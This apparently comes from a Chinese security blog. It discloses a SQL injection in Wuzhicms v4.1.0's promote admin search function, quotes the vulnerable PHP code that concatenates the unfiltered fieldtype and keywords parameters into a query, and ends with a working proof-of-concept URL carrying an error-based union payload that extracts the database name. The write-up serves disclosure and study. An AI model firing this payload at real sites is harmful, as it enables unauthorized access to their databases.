Wuzhicms v4.1.0 /coreframe/app/promote/admin/index.php 存在SQL注入漏洞2

漏洞文件：
/coreframe/app/promote/admin/index.php:42-60

public function search() {

    $siteid = get_cookie('siteid');

    $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;

    $page = max($page,1);

    $fieldtype = $GLOBALS['fieldtype'];

    $keywords = $GLOBALS['keywords'];

    if($fieldtype=='place') {

        $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";

        echo $where;

        $result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');

        $pages = $this->db->pages;

        $total = $this->db->number;

        include $this->template('listingplace');

    } else {

        $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";

        $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');

        $pages = $this->db->pages;

        $total = $this->db->number;

        include $this->template('listing');

    }

}

$fieldtype参数可控，直接过滤参数$keywords不严谨。

POC

/index.php?m=promote&f=index&_su=wuzhicms&v=search&fieldtype=place&keywords=1111%'/**/union/**/select/**/updatexml(1,concat(0x7e,(select DATABASE()),0x7e),1);-- -

感谢您的来访，获取更多精彩文章请收藏本站。